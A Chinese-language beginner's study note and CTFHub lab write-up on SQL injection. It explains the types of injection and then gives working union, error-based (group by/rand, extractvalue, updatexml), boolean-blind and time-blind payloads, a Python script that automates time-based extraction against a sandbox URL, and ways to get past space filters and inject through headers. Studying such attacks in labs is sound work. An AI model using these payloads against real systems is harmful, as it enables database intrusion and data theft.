前言:本文只是写给自己看,web入门新人,大佬见笑勿喷,欢迎对笔者理解浅薄或错误之处及时指正
SQL简介
结构化查询语言(Structured Query Language)简称SQL,是一种特殊目的的编程语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统
SQL注入是什么
sql 注入攻击是通过将恶意的 sql 查询或添加语句插入到应用的输入参数中,再在后台 sql 服务器上解析执行进行的攻击,是一种对数据库的攻击。从而达到读取,改写数据等操作,进而危害安全。
SQL注入分类
—按照http请求相关特点分类—
- GET 型
- POST型
- Cookie注入
- User-Agent注入
—按照SQL数据类型分类—
- 整型
- 字符型
- 报错注入
- 布尔盲注
- 时间盲注
SQL注入一般顺序
1)’ 单引号测试:判断字符还是整形,整型报错 ’ 单引号,字符型报错 ’ ’ 3 ’ 数字和引号
2)是否能报错:能即报错注入
3)and 1=1 和and 1=2 判断是否存在布尔状态
4)sleep()并F12判断是否有时间延时
MySQL基础知识
Information_schema库中(元数据库):
Schema表包含全体数据库字段,可以通过查阅该表获得全体数据库信息
Tables表包含全体表字段,可以查阅全部的表信息
Colums表包含全体字段,可查阅全部的字段信息
结构如下
基本语法在这里
语句优先级在这里
列判断法
- order by枚举
- union select 枚举
一般爆破顺序:
库名 —> 表名 —> 字段名
CTFHub SQL注入部分刷题
整型注入
输入1,读出回显,发现sql语句给出
按照一般思路,爆破库名,构造payload:
4 union select 2 , database()
得到回显(构造4是因为id=4为假,可显示后面部分)
可知库名sqli,构造payload :
4 union select 2,group_concat(table_name) from information_schema.tableswhere table_schema='sqli'
得到回显
可知sqli库中有名为flag的表,构造:
4 union select 2,group_concat(column_name) from information_schema.columns where table_schema="sqli" and table_name="flag"
得到回显
构造:
4 union select 2,flag from flag
直接查询sqli库flag表中flag字段信息,得到回显
字符型注入
思路同上,注意构造是闭合前面的 ‘ 单引号,注释掉后面的 ’ 单引号
注释方法:
1. #
2. - - (- - 空格)or --+
3./*******/
一颗栗子:
往后同上
报错注入
group by报错注入
原理
使用rand()函数进行分组聚合时,产生重复键错误;
部分语法解释:
- count(*)可以实现计算表中记录数
- left(str,a) 从左开始截取str字符串的a位 类似有floor,round等
- rand()随机产生0-1间的数
- group by()按照()字段/列进行分组 无聚合时只显示同组第一个数据
- floor()x 是floor() as x的简介,详见as语法;
WP
从网上嫖来常用group by注入payload:
?id=1 and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),'$',floor(rand(0)*2))x from information_schema.tables group by x)a)
得到回显
更改payload中database()字段,即可得到回显,但应用时发现改为group_concat(table_name)时,回显显示异常,如下:
通过在gruop_concat()函数前加入left解决
?id=1 and (select 1 from (select count(*),concat((select left(group_concat(table_name),10) from information_schema.tables where table_schema=database() limit 0,1),'$',floor(rand(0)*2))x from information_schema.tables group by x)a)
得到回显
其余同上
XPATH报错
- extractvalue()函数
?id=1 and extractvalue(1,concat(‘^’,(select database()),’^’))
- updatexml()函数
?id=1 union select updatexml(1,concat(0x7e(select(group_concat(schema_name))from information_schema.schemata) ,0x7e),1); #
经过验证,第一个受限于测试环境SQL版本,只有第二个updatexml可用,且回显受到限制,应在group_concat()函数外加入left(),right()等函数,用以拼接全部信息,其余均同上
布尔盲注
常规查询id=4,发现报错
尝试后面进行联合查询
4 union select 1,2
回显
发现成功,判断为union后语句为真则返回成功,尝试在后面加入where子句
4 union select 1,2 from news where 1=1
回显
发现仍然成功,尝试在where后面加入having子句进行真假判断
4 union select 1,2 from news where 1=1 having ascii(substr(database(),1,1))=115
回显
发现成功,利用burp,爆破出数据库名sqli
继续同上构造
4 union select 1,group_concat(table_name) as x from information_schema.tables where table_schema='sqli' having ascii(substr(database(),1,1))>97
回显
利用having依次爆破,图为表名爆破,用burp的bombs爆破 >97 字段与substr()第二个参数
段名如法炮制,得到flag表flag段
而后仅用where语句,构造
4 union select 1,flag from flag where length(flag)=32
回显
利用burp的bombs功能,更改where条件并进行爆破,最后对结果进行拼接,得到flag
时间盲注
与布尔盲注类似,只不过无不回显,利用 if() 函数与sleep() 函数
if(command1,command2,command3) 函数 :
当 command 1 为真时,执行command2
否则执行command 3
sleep(num)函数:
使函数延迟 num 秒,可以为浮点数
糖炒栗子的payload
if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110,sleep(3),1)
F12查看反应时间
说明正确,而后利用python脚本
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import requests
import sys
import time
session=requests.session()
url = "http://challenge-e53e5a329b0199fa.sandbox.ctfhub.com:10080/?id="
name = ""
for k in range(1,10):
for i in range(1,10):
print(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
#数据库名
payolad = "if(substr(database(),%s,1) = '%s',sleep(1),1)"%(str(i),str(str_ascii))
#表名
#payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,str(str_ascii))
#字段名
#payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
start_time=time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name+=str_ascii
break
print(name)
#查询字段内容
for i in range(1,50):
print(i)
for j in range(31,128):
j = (128+31) -j
str_ascii=chr(j)
payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)
start_time = time.time()
str_get = session.get(url=url + payolad)
end_time = time.time()
t = end_time - start_time
if t > 1:
if str_ascii == "+":
sys.exit()
else:
name += str_ascii
break
print(name)
MySQL结构
同整形注入,不知道有什么区别
Cookie注入
根据题目,打开burp,刷新拦包,发现cookie中id=1字段,进行注入
UA注入
User-Agent字段注入,同上
Refer注入
Referer字段注入,同上
空格过滤
空格可用一下符号代替
(): 一对圆括号
+: 加号
%09、%0a、%0b、%0c、%0d:TAB水平制表符、换行符、垂直制表符、换页、回车的URL编码形式
/**/:块注释符
其余同上